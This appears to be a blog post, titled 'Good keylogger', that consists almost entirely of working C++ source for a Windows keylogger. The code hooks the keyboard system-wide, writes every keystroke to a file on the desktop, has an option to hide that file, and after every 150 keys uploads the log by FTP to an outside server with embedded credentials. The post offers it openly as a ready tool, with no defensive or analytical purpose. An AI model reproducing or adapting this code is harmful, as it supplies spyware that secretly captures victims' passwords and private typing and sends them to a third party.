Good keylogger

#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;
  
char * extractFilename( char * path){
char * ret = path;
bool isFullPath = false ;
for ( int i=0;i< strlen (path);i++){
     if (ret[i] == '\\' ){
         isFullPath = true ;
     }
}
if (isFullPath){
     ret = ( char *)(( DWORD )path + lstrlen(path) - 1);
     while (*ret != '\\' )
         ret--;
     ret++;
}
return ret;
}
 
FILE * f;
HHOOK hKeyboardHook;
  
/*Change file attributes to hidden*/
void hide_file( char * file)
{
          if (GetFileAttributes(file) != 0x22)
          SetFileAttributes(file,0x22);
}
  
/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath( char * ret)
{
         char desktop[260];
         if (SUCCEEDED(SHGetFolderPath(NULL,
                                   CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
                                   NULL,
                                   SHGFP_TYPE_CURRENT,
                                   desktop)))
         {
                 strcpy (ret,desktop);
                 return true ;
         }
         else
         {
                 ret = NULL;
                 return false ;
         }
}
  
//Multiple concatenation
char *dupcat( const char *s1, ...){
      int len;
      char *p, *q, *sn;
      va_list ap;
  
      len = strlen (s1);
      va_start (ap, s1);
      while (1) {
          sn = va_arg (ap, char *);
          if (!sn)
              break ;
          len += strlen (sn);
      }
      va_end (ap);
  
      p = new char [len + 1];
      strcpy (p, s1);
      q = p + strlen (p);
  
      va_start (ap, s1);
      while (1) {
          sn = va_arg (ap, char *);
          if (!sn)
              break ;
          strcpy (q, sn);
          q += strlen (q);
      }
      va_end (ap);
  
      return p;
} //Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
  
   /*Upload file to server*/
BOOL uploadFile( char *filename, char *destination_name, char *address, char *username, char *password)
{
         BOOL t = false ;
         HINTERNET hint,hftp;
         hint = InternetOpen( "FTP" ,INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
         hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
         t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
         InternetCloseHandle(hftp);
         InternetCloseHandle(hint);
         return t;
}
  
  static int keysPressed = 0; //Lets count the keys pressed
  
LRESULT WINAPI Keylogger ( int nCode, WPARAM wParam, LPARAM lParam)
{
         char currentDirectory[260];
                 char * workFullPath;
                
        
     if  ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))     
     {
             bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
                 if (truth)
                 {
                     //Concatenate desktop directory and files
                         workFullPath = dupcat(currentDirectory, "\\work.txt" ,NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
                         f = fopen (workFullPath, "a+" ); //Open the file
                 }
         KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
         DWORD dwMsg = 1;
         dwMsg += hooked_key.scanCode << 16;
         dwMsg += hooked_key.flags << 24;
         char lpszKeyName[1024] = {0};
                 lpszKeyName[0] = '[' ;
  
         int i = GetKeyNameText(dwMsg,   (lpszKeyName + 1),0xFF) + 1;
         int key = hooked_key.vkCode;
                 lpszKeyName[i] = ']' ;
          //Key value or something else ?
                  //if the key if from A-Z,a-z,0-9 then add this to file
                         if (key >= 'A' && key <= 'Z' )
                         {
                              if  (GetAsyncKeyState(VK_SHIFT) >= 0)
                                          key += 0x20;
                                  if (f != NULL)
                                  fprintf (f, "%c" , key);
                         }
                                                 //else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
                         else
                         {
                                 if (f != NULL)
                                         fprintf (f, "%s" , lpszKeyName);
                         }
                                                 keysPressed ++;
                                                 if (keysPressed == 150) //Enough data
                                                 {
                                                         //extractFilename is used to extract only the file from path:Example: C:\data\x.php,
                                                         //extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
                                                         uploadFile(workFullPath,extractFilename(workFullPath), "www.xyz.org" , "ftpUsername" , "ftpPassword" ); //Upload the file to FTP
                                                         keysPressed = 0;
                                                 }
  
                         //You can make the file hidden :))
                         //hide_file(workFullPath);
                         fclose (f);
         }
     return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}
 
DWORD WINAPI JACKAL( LPVOID lpParm)
{
         HINSTANCE hins;
         hins = GetModuleHandle(NULL);
         hKeyboardHook = SetWindowsHookEx (  WH_KEYBOARD_LL, (HOOKPROC) Keylogger,   hins,  0);
  
         MSG message;
     while (GetMessage(&message,NULL,0,0))
     {
         TranslateMessage( &message );
         DispatchMessage( &message );
     }
  
     UnhookWindowsHookEx(hKeyboardHook);
     return 0;
}
  
void main(){
         JACKAL(NULL);
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值